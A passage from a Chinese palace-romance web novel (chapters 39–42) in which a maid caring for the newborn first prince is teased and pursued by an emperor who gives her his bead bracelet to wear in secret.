沈青眨巴着眼睛看向跟在皇上身边的錢继,仿佛在说: ——呦,你主子要喝茶。 錢继垂下脑袋,以他对皇上的了解,总之不是吩咐他的,折腾谁,当然是显而易见。 前几次皇上从大皇子这里回去,心里就很不如意。 帝心难测,但可以肯定的是,皇上是绝不允许别人忽视他。 沈青见状,许是在大皇子身边太安逸了,她也就失了警惕之心,见状也学钱继垂下脑袋。 肯定不是对她说的。 奉茶?皇帝最讨厌她了好吗。 不过讨厌就讨厌吧,越讨厌她越闲。 沈青和钱继相互僵持,只听纪宸冷笑一声,屋内的众人一抖,已经安静跪了下去。 奶嬷嬷吓的一激灵,万幸她此时手上没抱着皇子。 沈青觑了一眼,发现坤宁宫的人只有她和一名奶嬷嬷,因为皇上带来的人一进来,坤宁宫其余人便因站不下退了出去。 乾清宫的人占上风,如此,便更不是在吩咐她了。 纪宸:“榆木脑袋。” 沈青共鸣,钱继就是个榆木脑袋,茶就在桌子上放着,奉进皇上手中这么点小事都不做。 纪宸又道:“真是个木桩子。” 看吧看吧,钱继装死被骂了。 纪宸又又阴阳怪气道:“沈青姑娘,劳烦你为朕奉茶。” 沈青茫然外加惊恐:“??!!” 骂的是她! 第39章 第39章宫女三十九日 皇上这话沈青可不敢当,她的脸色先是煞白惨淡,而后窘地一瞬间涨红了脸。 “奴婢遵旨。”沈青心中懊悔地都要流下两行宽泪了,她剛剛在想什么,居然把皇帝的话当作耳旁风。 那可是封建社会的的皇帝。 一杯温茶被沈青从另一张桌子上放到纪宸手邊的茶几,刚要稳当放上去时,纪宸伸出了手,沈青紧急打了个弯,将茶奉到纪宸的手上。 纪宸的手就那么放着,正常人奉茶很难不碰上去。 但沈青经验丰富,又想到皇上可能厌煩她,那必不可能再加重这种厌煩,万一皇上突然将她从大皇子身邊调走怎么办? 毕竟皇帝的命令高于皇后。 于是沈青很小心地没碰到纪宸的手,做完奉茶的任务,她自己都要赞一声完美。 然后她很自然地抬头看了一眼。 触及纪宸一瞬间微妙沉落的脸,嘴邊刚想凝出的笑意便利索地收了回去。 若是半个月前沈青定然嫌弃自己抬眼这个动作不够规矩,可自从来了大皇子處,她好像就放飞了,一些小动作上已经来不及掩饰。 当然,现在不是想这的时候,她怎么觉得,皇上好像有点阴晴不定。 明明那天从降萼轩回来时还好声好 气,过了两天她就去送了那么一回汤,便嫌弃地不得了,不许她再去乾清宫。 然后是这次,她心知他烦她,便在对方来看大皇子时,尽量不去惹眼,安安静静。 可就是这样了,他却要点她出来。 这么多人,专讓她奉茶,难道就因为她干过这活就得一辈子干这活? 沈青真是猜不透纪宸的心思。 人家也不愧是当皇帝的。 诡谲莫测。 他脸上表情变动很小,常人很难捕捉到,但沈青就是看清了,就是发觉出对方沉脸了。 纪宸握住茶盏,喝了一口,然后将其放到桌子上,目光移到了大皇子身上。 大皇子刚出生半个月,婴儿觉多,不是吃就是睡,偶尔也睁眼四處看看,由奶嬤嬤逗一逗。 皇上来得不巧,现下大皇子刚吃过奶,已经睡了片刻了。 沈青顺着纪宸的动作落到茶盏上,见茶水下得少,蹦出一个念头,不喝水净折腾人。 不过这个想法一出,沈青自己都觉得好笑。 然而,纪宸觉得自己手脏了:“湿帕子。” 沈青很想将任务推给錢繼,但没办法,只能主动听命。一則方才皇上点她名了,二則这里她熟,讓錢繼去,说不定找不到皇上要的東西。 她将湿帕子递到纪宸手中,特意避开了肌肤相贴。 纪宸换了个更舒服的坐姿,觉得有点无聊:“拿一副棋具。” 沈青有点无语,但棋盘这東西大皇子这里还真有。 大皇子出生,皇上太后和宫中嬪妃送礼,杂七杂八的,其中就有一套棋具,棋子还是玉制的,质感温润细腻,不是凡品。 沈青道了声是,去库房找来安放着的棋具,然后摆在纪宸面前。 纪宸就这样摆了个棋局,自顾自解起来。 可能是想从小熏陶大皇子吧。 沈青心里念叨着皇上这次来看大皇子停留的时间太久了,不过纪宸是先看了眼皇后才来大皇子这,必是没人敢催他。 皇后更是恨不得皇上在大皇子这儿呆的越久越好,总好过去后宫给嬪妃们机会。 且大皇子需要这份父子之情。 忽然,一枚白棋从棋盘上落了下来。 沈青看了一眼钱继,他不动如山,不由默默无语,这次她也不需要皇上吩咐了,伶俐地捡起来,然后在快要接触纪宸伸出来的掌心时,手一松,完成棋子的交接。 仍未碰到这位尊贵的皇上一丁点。 沈青唇边勾起一抹笑,准备再次功成身退。 然而,一只手精准掐住了她脸頰上的乱肉,因为他的手掌很大,沈青下半张脸几乎落到了他的掌心,更衬得那张小脸漂亮精致。 沈青被挟的一愣,身子往皇上那边倾斜,眼睛睁得圆润,无措极了,却也不能表露愤慨,因为这只手是皇帝的。 纪宸另一只手还捏着棋子,这只手就肆意揉捏起小宫女的脸頰软肉。 “皇上??” 纪宸面上平淡,心中却很恶劣。 不是想将回避贯彻到底吗?他偏就不如她意。 纪宸也想不通为何过分在意这个小宫女,大概是因为她讨好他身边的任何人乃至于皇后,偏偏避开他,而让他感到不舒坦。 察觉到这种差别的开始,是他自作多情以为她这是喜欢他的表现。 然而不是,压根没有,沈青一点都不喜欢他。 人人都对他趋之若鹜,少一个沈青其实没什么,纪宸这么想,想啊想,发现还是会想到沈青,这才发现这套说辞说服不了自己。 他好像在意沈青。 但是,怎么可能呢,纪宸不愿意接受这种可能,恶劣便由此而生,于是便生出了戏弄对方的心思。 结果一目了然,没对沈青造成任何影响,还特意連不小心碰他一下都不愿。 好似他是什么脏东西…… 纪宸更不舒坦了,于是他要沈青也不舒坦。 纪宸望着沈青的双眸,将她的情绪一览无余——不明白,惶恐,以及被他迷惑的眩目? 原来她也会被吸引吗? 沈青不是故意的,一个长的很俊,五官挑不出任何错的人,将脸放大到面前,任谁都要被迷惑一下。 她是第一次这么近距离观賞皇帝的美貌,数代美人的结晶之物,封建王朝的集大成之作。 俊美又尊贵,又将睥睨的视线落到她脸上,竟讓她觉出了性感。 且纪宸又不发话,她被蛊惑实在太正常了。 纪宸缓缓加重力道,将沈青的娇嫩的脸皮搓出一道红痕。 他要让沈青怕他,畏他,惧他。 他会在这之后放过她,从而让她转转反侧,胡思乱想,浮想联翩,要她也为他心神不宁。 这便是纪宸思来想去的报複。 仍要她当个小宫女,却要喂养她的野心,点燃她的欲望,让她攀附不属于自己的东西,最终狠狠摔落。 也许最后他会发善心给予沈青些许甜头……也许什么都不给。 这样才有趣,不是吗? 沈青再次唤道:“陛下?” 纪宸倏然笑了一下。 教科书式的孔雀开屏,沈青作为近到离谱的人,受到的冲击是最大的,沈青是美人,但美人亦会欣賞美好事物。 她听到自己的心脏在砰砰跳,好像坏掉了。 纪宸这时松开手,沈青慢了半拍才反应过来。 纪宸站起来,对钱继等人道:“走吧。”似乎方才临时起意掰着小宫女的脸看是个不值一提的小事,现下只是恢複了他原本那副淡然无趣的模样。 沈青:“??” 等人都走了,沈青还没回过神,心中只循环着长的好啊长的好。 并咬牙切齿,这个世界真是不公平,有人一出生就在罗马,上大学的年纪就大权在握,生杀予夺,长的还跟个男模特,就算穷困潦倒也能走秀糊口了。 她揉了揉脸,等问过屋内那个老实本分的奶嬷嬷脸上红痕消了后,便出去将其他奶嬷嬷叫回来,让她们照看大皇子。 至于方才的事,那是皇帝,他无论做什么都不奇怪,不能指摘,沈青一个宫女又如何能计较。 被人捏着脸好一通看,现在想想真是不爽,然而无能为力,只能将这段记忆上锁,丢到脑海深处,生怕再忍不住愤懑和想起被蛊惑时的尴尬。 沈青继续着晌午第一个赶到小厨房,吃过一大碗饭后早早午睡,起来后看过大皇子无恙,便在大皇子身边干自己事的日常。 至于被皇上影响? 不好意思,没有接收到信号。 比起这个,她更想抱着自己的黄金傻乐。 纪宸尚不知道自己攻心的第一步就失败了,心中仍踌躇满志,挑选着合适的日子再去大皇子那边一趟。 前期钓鱼必须打好窝,不然,鱼又怎么会上钩? 其实纪宸知道他的身份地位权势就是最好的诱饵,但因为沈青的“不屑一顾”,自然只能由他亲自引诱。 好在对于触碰沈青脸颊的手感,纪宸觉得不坏。 在这之后,大皇子满月之前,皇帝统共来了一次,那一次,沈青与皇上对视了三次,被折腾了四次,被夸好看了一次。 沈青:我知道我很好看,谢谢,不必提醒。 她在心中插科打诨,因为皇上好像没有因为讨厌就定罪她的意思,这让她放心了许多,对纪宸也能平常心了。 随便吧,爱怎么样怎么样。 只是照旧谴责钱继拿着月奉不干事,还要用那种我全都懂的眼神看她。 沈青觉得,好莫名其妙啊,便果断抛之脑后了。 大皇子的满月宴这天,热闹非凡,且大皇子的名字也定了下来,名叫纪璨,是玉的光泽明亮的意思。 之后,皇后恢复了后宫请安,并向皇上为何才人请封贵人,一連越了两级,皇上应允,皇后亦对何贵人赏赐了许多。 宫中嫔妃这才发觉有孕和无孕的真正差别,前者已经成了宝贝疙瘩,后者如楚贵人,即便投靠了德妃,又有恩宠在身,入宫时是个贵人,现下还是个贵人,有嫣婕妤在前头,恐怕得等到年末时候位份才能往上升一升。 到时焉知皇后会不会再给何贵人升位份,况且何贵人顺利生产后大抵还要 再提拔一次。 皇子皇女的生母,位份低不到哪儿去。 而嫔妃中,郑才人更是嫉妒的要发疯了,她们都不知道,若当时她投靠了皇后,这时怀孕的就是她了,当贵人的就是她了! 偏偏,她当时昏了头,竟然拒绝了皇后。 第40章 第40章宫女四十日 沈青照看大皇子,对后宫的事自然闭塞了许多。 譬如何贵人不小心在御花园摔了一跤,后查出是石子路上被抹了油,有人专引何贵人往那边去,倒油的宫人被找了出来,指认是郑才人吩咐的。 何贵人险些小产,只能卧床静养,郑才人被贬为宝林。 譬如贤妃解禁后,皇上去她的长春宫坐了坐,意味她所做的事便翻篇了,蔣才人是太后的人,亦属贤妃阵营,但蔣才人和林嫔关係似乎不好,在长春宫中,林嫔在,蒋才人便会掉头就走。 蒋才人才气盛,便也心高气傲,她看不上林嫔当初打压嫣婕妤的架势。 再譬如嫣婕妤,自迁宫后得到的宠爱就不如从前,反倒楚贵人和陈美人,一清丽一娇柔,渐渐得宠。 楚贵人和陈美人同是德妃的人,陈美人与德妃联係更加緊密,陈美人得宠于她更有利,且若懷孕,生下的孩子抱到德妃膝下德妃想必也更放心。 这些事都是发生许久后,沈青才得知的,算是当个八卦来听,心中并没有什么实感。 心道还不如她专门从宫内小太监手里淘到的话本好看,什么霸道王爷,什么冷酷杀手,这才是真正的帶感。 沈青的生活很平淡,唯一的波澜大概是皇上时不时过来看望大皇子时撩拨她一二。 一来二去,她便和錢继熟了。 錢继这个人也好懂,估计是和他师父钱全忠只学武功的关系,没什么心眼,能叫人一眼看出皇上今日心情如何。 而纪宸这边,钓了两个月,如何没感受到沈青这姑娘心冷得跟块石头似的,压根不为所动,这讓他不可思议到气恼再到感到好笑。 中间为了琢磨这种姑娘的心思,纪宸翻了后宫,发现只有李美人与沈青气质类似,中间一番波折,发现两人压根不同,从李美人身上学得的经验根本不适配沈青。 李美人是知曉男女之情的,而沈青,虽然很不想承认,但确实,她还没开窍。 整天不知道把心思放在了哪里,可能是吃饭上吧,明明那么一个柔弱拂柳般的美人,脸颊上的肉却很软和。 沈青偶尔有意动,反而是他愠怒冷脸时压迫力起来之时,每每这个时候钱继都要悬着心,反倒是她,看着乖巧,实则脑子里不知道想的什么,耳朵微红,一双眼睛润的厉害。 她似乎喜欢他冷脸? 为了验证这个结论,纪宸特意照着镜子练习了自己冷脸的模样,淡然的人冷脸和一直冷酷的人冷脸冲击度是不一样的。 比如兰婕妤,一直冷着脸大家也就不去琢磨她的心情是好是坏了,毕竟好坏都是那副模样。 而纪宸脸上一寒,乾清宫的宫人都已经默默跪了下去,请陛下息怒,猜想着是否是朝堂上的事惹了陛下不快。 可自登基那一年陛下经常被臣子气得吃不下饭外,现在已经好多了,一年到头涵养都绝佳。 这日,纪宸去看大皇子。 沈青照旧在身边侍奉,不过侍奉的主要还是大皇子。 现下大皇子已经两个多月了,天气渐冷,马上要步入十二月份,大皇子穿的衣服也稍微厚了些,屋内已经烧上了地龙,暖烘烘的。 大皇子长的白白胖胖,头发多到貼着脑袋长了一层,一双眼睛乌溜溜的,也不闹人,性子瞧着很安静。 沈青想,这份性子大抵随了皇上皇后,毕竟这二人都很沉稳。 纪宸觑了眼纪璨,逗狗似的挑了挑嬰孩的下巴,纪璨望了眼这个陌生又熟悉的男人,对他身上绣的金龙式样毫不动心,扭了扭脸以作拒绝,不哭不闹。 纪宸想,果然嬰儿跟誰呆久了,就沾染了几分誰的习性,当下也起了兴致把皇子抱到懷里。 婴儿软绵绵的身体讓纪宸怎么抱怎么不得劲,不敢用力不敢不用力,只能僵着胳膊。 又不好放下,因为沈青还在旁边看,若他刚抱起来就撂手,岂不是显得很没用? 沈青看着大皇子,发现大皇子没有不舒服的意思,便未动,只等皇上不抱的时候将大皇子接过来。 日日看着奶嬷嬷哄大皇子,沈青也学了几招,简单的抱娃还是会的。 过了一会儿,纪宸抬头看向沈青,沈青接收到视线,明白过来,开口道:“皇上,将大皇子交给奴婢吧。” 说着伸出了手。 纪宸如释重负,刚想把纪璨这个小家伙交出去,只听纪璨咧嘴一笑,露出没牙的嘴,沈青顿感不妙,凝神看去,果然,大皇子尿了,被纪宸眼疾手快悬空拎着。 纪宸的脸一瞬间黑如锅底。 纪璨还不知发生了什么,啊啊拍着手要去找沈青。 沈青心底一乐,面上还要勉强自己不表露出来。 果然,婴孩才没有什么阶级分明,哪里知道什么人该得罪,什么人不该得罪,又哪里知道面前这个人是他最应讨好的父皇。 对着就送了一波温暖。 顺势,沈青收回了手,看向奶嬷嬷,她也只会在小家伙奶香奶香的时候抱一抱,这种时候还是有那么一点点嫌弃的。 奶嬷嬷收到示意,上前将大皇子接到手中,把大皇子放到榻上,开始換衣服。 “沈青,跟上。”纪宸黑着脸走出里屋,吩咐钱继找一件他的衣裳,让这里唯一的宫女沈青亲自为他換上。 沈青看了眼大皇子,见他对于是奶嬷嬷来抱他也不无不满,便跟着纪宸出来。 屏风后,沈青这才明白皇上叫她是来幹什么,身体一僵。 好吧,皇帝穿衣用膳都要人服侍,说不定人家在乾清宫里也有貌美宫女伺候,在这里指挥她一个小宫女再合理不过了。 至于纪宸喜欢她,特意吩咐她幹这事一是垂怜就更不可能了,任何一个皇上看上宫女,最大的可能是将人纳进后宫,而非暗搓搓针对,特意磋磨,然后再给个小小的甜枣。 又不是小学生。 沈青默默叹了口气,开始服侍娇贵的皇上换衣。 沈青双臂一抬,将纪宸身上的旧衣脱下来,指尖捏着一角放到托盘上,然后取来新衣轉着圈给纪宸穿上。 不轉圈不行,纪宸是被服侍惯了的主,只会抬抬胳膊,比之大皇子的配合都不如。 绕到纪宸身前,沈青低头将衣前的系帶系上。 以纪宸的视角,略略低头,便能将人纳入眼中,圈一下手臂,就能将人困到怀中,但他什么都没做,目光一凝,看到沈青发髻上的玉簪。 于是他略一抬手,想将玉簪拨落,玉的东西素来娇贵,轻轻一磕碰便会碎裂,稍有不完美,整个簪子便不好看了。 但没想到玉簪插的緊,还牢牢别在发髻中。 纪宸:“……” 沈青感覺到发髻被拨动了一下,还在困惑是不是错覺,纪宸的手便抬起了她的下巴,而后弯腰凑近,鼻子与她脖颈的肌肤只差几厘米的距离便貼上了。 沈青还抓着纪宸的衣裳,不知道他又莫名其妙在干什么。 她整个人陷入了纪宸身上带有的异香中,这个香她在任何人身上都没有闻到过,除了纪宸。 大抵是某种稀有的,专进贡给皇室的香,被纪宸拿来薰衣服,或是常年在乾清宫殿内的香炉中燃着,以至于他整个人沾上了这股味道。 这一刻的感官被无限放大。 纪宸抵在她的脖子处嗅了嗅,似乎为了闻什么香气,可沈青从不用熏香,她害怕有人在她用的东西上动手脚,从而害了大皇子,所以她也不让奶嬷嬷们用香,只要求她们穿着干净即可。 那纪宸在嗅什么? 沈青有些许不自在,也不敢再闻纪宸自带的香气。 于是她转移注意力,目光落到纪宸一侧的头发 上,盯着一处出神。 如果此刻身份转换,沈青是皇帝,纪宸是小宫女,纪宸这个小宫女主动往沈青这个皇帝身上靠,大概很符合勾引二字。 现下身为皇上的纪宸主动凑近,反而让人摸不清他的心思。 沈青一双眼睛被这香薰得朦胧,有点困。 恰这时,纪宸站直身,沈青努力睁大眼睛,这样一来,她的目光便有些心潮难已的意思,她的手,还紧紧揪着他的衣服。 纪宸舒服了,连看那支玉簪都覺得没那么碍眼。 这时候,正应该再接再厉,省的下次来这个小没良心的直接将他忘了。 可用什么撩拨呢?纪宸暗恨今日没带个簪子,手指摸上了腕上缠了两圈的串珠,这是他最最最喜欢的珠串…… 等从屏风后走出来,沈青摸了摸藏在衣领下贴着肌肤的珠串,不由自主回想起皇上方才说的话。 “这串珠子需要女子干净的体香熏染三个月,待三个月后你亲自还给朕,莫要叫别人知曉,徒增风波。” 这是属于他们两人的秘密,纪宸的意思暧昧,无论换谁都会沉溺于这份温情中。 纪宸身上的熏香使人迟钝,他说完这句话,沈青只觉得原来如此,怪不得嗅她,权贵们的癖好嘛,她懂。 鬼使神差下,她问:“睡觉也贴身戴着吗?” 纪宸的目光一滞,干绷绷道:“自然。”可恶,差点就被反撩拨了。 直到从屏风后出来,远离了纪宸,那股惑人的香气淡去,沈青才觉出了不对。 如今戴在她脖子上,贴在她衣服下的串珠,阖宫上下见过皇上的人都有印象,因为这是皇上一直在手中把玩的那串,轻易不假手于人。 也就是说,只要她显露出来一点,就能在后宫掀起滔天巨浪,更遑论她主动让人知晓了,以她的性子,恨不得藏得更深,不叫串珠显露,不叫旁人察觉分毫。 更不可能不戴在身上,万一皇上下次来检查她有没有好好将体香染到珠子上怎么办?她总不能从别处拿出来供其查看吧。 皇命不可违,可戴在身上,又是这样的奇怪。 串珠不硌,但存在感很强,不容忽视,时时刻刻在提醒她戴着的是什么。 等皇上走的时候,沈青还在走神,她很想对皇上说换个人吧,但没有勇气拦住皇上道明此事。 最好的拒绝时候已经被她错过了。 万恶的封建时代,将女子当成一件名贵的香料。 沈青抬起手臂嗅了嗅,疑惑,她哪儿来的体香? 难不成还是特定的人才能闻到? 还是说纪宸嗅的够深? 怀着疑虑戴着珠子,沈青今日用饭都用的不香了,也没心思再去疼爱她的黄金了。【你现在阅读的是 】 40-50 第41章 第41章宫女四十一日 这之后,在冬日的第一场大雪下来之前,纪宸再没来看过大皇子,似乎也忘了这件事。 沈青心神不宁了一阵,便将此事放下了,今年冬天格外的冷,听奶嬷嬷说,这样厚的雪,穷人的房子都不知道要壓塌多少间,真是造孽。 沈青想起沈家,自进宫以来,因通信不便,她和家里都是三四个月才寄送一次信,信里说的也不多,沈青说她在宫里一切安稳,沈家诸人也说他们过得不差。 但从寄回来的信紙成色呈断崖式下跌,沈青还是觉出了不对,家里的日子恐怕不怎么好过。 沈青入宫前,她爹作为沈家三房便跟家里分了家,自立门户,从沈家分了几间铺面和京西的一座宅院并两千两纹銀。 沈家作为京中有名富商,那已经是沈青母親嫁给沈家三郎还要之前的事,不然沈家未必会允许沈青的父親娶沈青的母亲。 但瘦死的骆驼比马大,沈青幼时就在沈家族学进过学,那时还尚可窥见沈家过去的豪奢之貌。 沈家的子嗣太多,分家已经不是第一次了,沈青进宫前正好砍到她爹这一支,给些東西打发了,自此不用再受负累。 对于普通人家,这些東西可以讓一大家子富足地过一生,更不必说还有几间有些进项的铺子,繼续经营亦或者卖掉,又是一笔惹人艳羡的銀子。 但奈何沈父自幼在沈家接受熏陶,拥有经商的打算,在沈家,尚有人为他善后,但分出来后,就得盈亏自负了,且一大家子因为过去过的不差,分家后生活水平短时间也降不下来。 从沈青在宫中第一次收到家中寄来的信,只看墨迹和輕嗅信紙上还带着淡香便知道了。 但这一次信纸粗糙的都磨手,纸张雪白但不均匀,比之上一次还要差,更比上她刚入宫家里写信用的纸了。 沈青歎息一声,有道是不是一家人不进一家门,他们都是报喜不报忧的性子。沈青只对家中提过她升迁到了一位位高权重的娘娘身边——皇后娘娘也是娘娘,从前的苦楚不提一句,也没问家里要过银子。 家里的态度同她如出一辙,无论怎么样都是好,很好,二弟聪颖,三妹四妹身体健康,五弟壮实……间或提起外祖那边,也是说外祖父祖母身子骨结实,拿得起刀砍得了肉。 对于沈父生意上的事一个字都不透露,兴许心虚吧。 至于沈青得了宫里娘娘的青睐,家中反应平平,做奴婢的哪会因跟了妃子就不苦的。 沈青和家里都有默契,只等她二十五岁被放出宫。 沈青又歎了口气,将一部分银两换做银票塞到回信中,但愿这次爹少亏一点,她爹虽不是个做生意的好料子,但对家人没得说。 这个家还是得她抗,等放出宫去,她就是沈家的大姑奶奶。 但出宫一事也说不准,毕竟她现在跟着大皇子,等大皇子五岁时会去上书房读书,届时若不需要她,她就能出宫荣养。 若是不放她走,那就有的耽搁了。 将信寄出去,沈青进大皇子屋里之前拍了拍身上的雪,又立在外间等身体暖起来,才进去。 她进去的时候,大皇子身边只一个奶嬷嬷,平常都是要两个守着的,她去看了眼大皇子,见他睡得安稳,便也安心了,顺手拿起旁边桌子上的绣繃繼续未完成的物件。 因为她女红学的并不好,便也没直接给大皇子绣贴身衣物,而是绣拳头大小的小老虎,填上棉花便是个小玩样儿,用来逗一逗大皇子。 沈青拿着绣繃准备坐到軟榻上,却发现軟榻那边不知为何降了帘子,里面隐隐绰绰,看不出什么,她心想大皇子的地方能有什么,便毫无防备掀帘进去了。 事实证明,大皇子的地方有他爹。 纪宸正拿着一本书在软榻上假寐,身边一个乾清宫的奴才都没有,兴是被他撵出去了。 而沈青回来时也没细看,只顾闷头走,不知道錢继等人是否停留在院中。 沈青见到皇上的那一刻,呼吸都放輕了,她觉得比起在软榻上偷懒她更想去大皇子身边守着。 然而纪宸忽然睁眼彻底断了她的念想。 遇见皇帝不请安肯定是不行的,沈青手里拿着绣绷,尽量行了个万全的礼:“奴婢参见皇上,皇上万安。” 纪宸抬了抬下巴,便是要人凑近的意思。 沈青往前走了两步,见人半躺着,便俯身倾耳。 “讓朕看看朕的串珠。”他的声音沙哑,自带蛊惑。 不知道假寐了多长时间,应是时候不小。 沈青的脸庞腾一下烧了起来,纪宸如炬的目光盯着她脖子处看,又是那种声音,任谁都要给点反应了。 尤其是在这个相对密闭的空间,只有他们两人,声音大点都要被奶嬷嬷听见。 纪宸也许知道这件事有些不光彩,便稍稍壓低了声音,就更显私密和暧昧了。 沈青将手上的东西放到地上,伸手到脖子处去摸索衣裳下的东西。 昨天她还琢磨着要不要偷懒几天,毕竟皇上已经许久没来大皇子这里了,更遑论记起此事,但最终碍于皇权,她还是没怎么敢。 封建社会的规则如此,她只能依循 规则行事。 将串珠从脖子上取下来,纪宸适时伸出手,沈青抿唇将串珠交到他手中,便垂眼没再看。 因为贴身带得久了,珠子上自带温度,沈青察觉出了,纪宸在拿到手的那一刻也发现了。 “朕多久没来看……璨儿?” 沈青不明白纪宸问这个做什么,老实道:“一个月了。” 纪宸喟叹一声。 他是个从容的钓手,将魚线放了一个月,不是不担心魚又缩回去,但没想到鱼还是老样子,他洒下的鱼饵倒先认主了。 他拿着自己的东西反倒觉得手心发烫,分外不自在,仿佛不属于他一样。 纪宸将串珠拢进手心,似在将这沾染了小宫女气息的串珠重新驯服,仿佛这般,才能把属于他的烙印覆盖在串珠上。 实际上,若是沈青抬头看,便会觉出交融的含混意味。 刚从她身上拿出来,就被拢进了手心…… 偏偏沈青觉得自己脸红的奇怪,头便不自觉低啊低。 一根手指抵上沈青的额头,促使她抬起头,与纪宸平视,纪宸面无表情道:“给朕按按头。” 最近朝堂上的事多,折子看得他头昏脑胀,不然也不会在等人的这么一会儿功夫就睡了一觉,直到人进来才发觉,赶巧睁开了眼,不然他敢肯定,沈青一定会悄悄扭头就走。 宫里的宫人不发出动靜已经是基本功了。 沈青雙眼无辜,也輕声道:“奴婢不会。” 后宫嫔妃都还年轻,自不会头疼,既然不会头疼,她学这些干什么? “不过奴婢可以去找錢继公公,让他来服侍皇上。”沈青往后退,准备把钱继叫进来。 纪宸闻言头更胀,若是将人放走,他特意空出的这半天不就作废了?于是不由分说便拉住小宫女的手腕,一个发力,往软榻上拉。 沈青惊得一闭眼。 气息不稳胡思乱想起来。 不是吧,不是吧,皇上不是讨厌她吗? 仓促间,她也想不到其他可能,只以为纪宸想在这儿睡她,以此来寻刺激。 毕竟宫人卑贱之躯,比起宫中的娘娘,自然可以随意玩弄。 纪宸捏住她的手,搭到额上,压了压眉吩咐道:“随便捏捏即可。” 哎? 沈青倏地睁眼,发现她确实被拉上了软榻,占据了里侧一角,刚刚被人拽着胳膊像拿风筝一样将她咻一下移动也不是错觉,但纪宸的最终目的确实不是睡她,而是单纯烦闷到等不及再去叫钱继,让她速速帮他缓解脑袋。 一雙柔夷落在纪宸太阳穴两侧,纪宸面无表情的脸庞微微舒展。 沈青轻缓地揉着纪宸额头两侧,双腿在榻上很委屈地蜷着。 她的目光微微落在纪宸脸上,现在看来,他似乎不坏。 冷靜下来,方才属实是她多想了。 自皇上登基以来,没听闻他幸了哪个宫女,又有哪个宫女成了官女子……兴许,他是不乐意让宫女上他的龙榻的,不然也不会没有一个消息传来。 那当初她离开杜宝林时,萱草亲自给杜宝林添的宫女,那位错过大选赶上了小选,以官家小姐的身份入宫成了宫女的,想要借此成为嫔妃岂不是错得离谱? 现在宫中再没听过那名宫女的动静,想必是认清了现实沉寂了下来。 沈青漫无目的地想着,自不会再猜测皇上是否看上了她,因为这太不靠谱了。 纪宸出声道:“再重些。” 沈青回神,连忙加重力道,她瞧着纪宸此时已经闭上了眼,便悄悄挪动了下双腿,谁知她这一动,纪宸也动了一下,脑袋寻了个更舒服的位置。 比起纪宸的自在,沈青挪动的幅度很小,双腿该难受还是难受,于是又默默挪了挪。 …… 不知什么时候,纪宸的脑袋已经靠进了她怀里,更要命的,似乎已经睡着了。 因为沈青偷懒将酸疼的手腕的放下时,纪宸也毫无反应。 她拿手掌在他眼前挥了挥,亦不见动静。 沈青:“……”要命,被纪宸压着,虽然只压了一部分,不算重,但她走不了了。 唯一的办法就是将人唤醒或晃醒。 “皇上?” 没醒。 但要让她直接扶着对方肩膀左右摇,她是绝对没这个胆子的。 不过叫不醒说明皇上睡得确实沉,沈青纠结的目光落到纪宸的侧脸上。 只要她动作轻些,应该不会醒吧。 片刻后,沈青蹑手蹑脚从榻上下来,收拾好她留下的痕迹,便退了出去,不带走一片浮云。 大皇子身边,奶嬷嬷还在尽职尽责照看大皇子,她的目光看向沈青。 沈青轻声道:“里面那位,也睡了。” 奶嬷嬷了然,没再多问,沈青也不需要过多解释。 第42章 第42章宫女四十二日 婴儿的啼哭声划破了室内的安宁,奶嬷嬷眼疾手快将大皇子抱起来,放在肩头拍着背哄,脸上带着焦急,竟一时忘了先检查一下大皇子有什么不适,或给大皇子喂奶。 只唯恐吵醒了软榻上睡着的皇上。 沈青听到哭声目露担忧,她亦发觉了奶嬷嬷为什么这般。 现在距離她離开软榻已经过去了一刻钟,虽然时间短,被吵醒了确实不好,但不如此时醒来回乾清宫继续睡。 以免皇上在软榻上落个腰酸背痛,她们在这里等的胆战心惊,大皇子也少个奶嬷嬷伺候。 于是她出声先稳住嬷嬷道:“不要急,你的职责是照顾好大皇子,其他不必管。先检查一下大皇子尿了没,他许是饿了,等哭得没那么急再喂奶。” 奶嬷嬷连道了两个好,勉强镇定下来。 她的经验比沈青丰富,慌张也是因为慑于皇上的威严,今天皇上来看大皇子时,满脸严肃,甚至拧着眉,讓人手脚都不知道怎么放,又指了她留下来照顾大皇子,其余人出去,她作为奶嬷嬷压力就更大了。 皇上刚睡没多大会儿就被吵醒,即便是因为大皇子的啼哭,可追究下来,亦是奶嬷嬷的失职。 现在沈青出声,她一下子就想起方才沈青进簾里和帝王呆了好一会儿,主要是她刚刚也在心里默默琢磨这件事。 做奴才的也分被主子看在眼里和压根无视的,前者主子甚至记得名字,犯了错还会特意宽恕,后者即便被牵连,连喊冤为自己辩驳都没機会。 沈青就是前者,皇上信赖,皇后亲厚,将最要紧的大皇子都交给了她,且还不用忙前忙后,只用在旁邊盯着别人干活就行,一般能到这种地位的宫人,无不是在宫中几十年,从小宫女熬成了姑姑,又从姑姑熬成了嬷嬷,才得一份清闲体面的活计。 有沈青挡在前面,想必皇上即便生气,责罚也不会过重…… 奶嬷嬷心神都在思考这事,手上还麻利地收拾好大皇子身上的脏污,给大皇子换了件干净的衣裳,抱在怀里喂奶,背过身,身体往沈青的方向靠了靠。 似是这样,才能感到心安。 即便她比沈青大了好几岁,清白人家,精挑细选作为奶娘入宫又如何,在宫里生存可真不看这个。 见大皇子哄住了,沈青也放心了,方才大皇子哭的整张脸通红,瞧着很可怜,任何人都免不了心神牵挂,更何况是看着大皇子从小小一团长成稍大一团的她。 大皇子喝着奶没声了,簾子里才传来声音:“把钱继叫进来,伺候朕梳洗。” 声音四平八稳,似是没什么起床气。 沈青抬高声音称是,然后出去找钱继。 怪不得她回来时没瞧见钱继等人,原来他们在茶室里邊喝热茶邊候着,茶室不在她回来的方向,即便将茶室灰扑扑的厚门帘折起来,方便听传唤,也不在她的视野范圍。 乾清宫的宫人进去服侍皇上梳洗,沈青也另叫了一个奶嬷嬷进去伺候大皇子。 婴孩费人,一个奶嬷嬷肯定招架不住,纪宸图清净将人赶出去,難道寄希望于她沈青细心伺候大皇子嗎? 绕了她吧,四个奶嬷嬷呢,不差她一个,她也就起个盯梢和吩咐的作用。 进去服侍的人一多,沈青本着这么多人注意不到她的原则,默默划水。 好在,直到皇上离开,他都没再提起沈青,在乾清宫奴才们的簇拥下从大皇子处离开,沈青送到门槛时便站定,不过一会儿就扭头回了大皇子身邊。 这时,吃饱喝足的大皇子已经不哭不闹,反而用那双灵动的眼睛到处去看。 这么乖的小家伙,皇上走时居然没抱一抱。 惊讶之余,沈青拿起旁边的玩具开始逗大皇子,逗得他哈哈直乐,声音如银铃般悦耳。 